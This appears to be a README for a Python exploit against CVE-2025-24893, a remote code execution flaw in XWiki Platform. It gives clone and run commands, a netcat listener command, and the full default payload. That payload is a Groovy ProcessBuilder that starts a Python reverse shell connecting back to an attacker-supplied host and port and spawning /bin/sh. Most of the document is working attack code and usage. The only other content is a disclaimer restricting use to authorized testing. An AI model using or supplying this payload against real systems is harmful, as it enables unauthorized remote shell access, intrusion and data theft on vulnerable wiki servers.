
Modified exploit for CVE-2025-24893
A simple Python3 script to exploit CVE-2025-24893, a remote code execution vulnerability in XWiki Platform, using a Groovy-based async macro and a configurable reverse shell payload.
⚠️ WARNING: This tool is provided for educational and authorized testing purposes only. Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.
ProcessBuilder snippet to avoid Runtime.exec quirksrequests librarypip install requests
Clone this repository:
git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893
./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>
<TARGET_DOMAIN>
The XWiki host (e.g. wiki.example.local).
<LHOST>
Your attacker machine’s IP (where your listener is running).
<LPORT>
Your listener port (integer).
nc -lvnp 4444
./exploit.py wiki.vulnerable.local 10.0.0.5 4444
netcat listener for a shell.Before sending the payload, the script:
https://<TARGET_DOMAIN>http://<TARGET_DOMAIN> if HTTPS failsThis helps ensure compatibility with mixed‐protocol deployments.
By default, the script uses a Python3 one-liner:
new ProcessBuilder(
['/bin/bash','-c',
'python3 -c \'import socket,subprocess,os;'
's=socket.socket();s.connect(("LHOST",LPORT));'
'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()
build_payload() function if you need a different shell (e.g. Bash, Perl, PHP, etc.).This project is licensed under the MIT License. See the LICENSE file for details.
This tool is designed for authorized security assessment and educational purposes only. The authors hold no responsibility for misuse. Always obtain explicit permission before testing any target systems.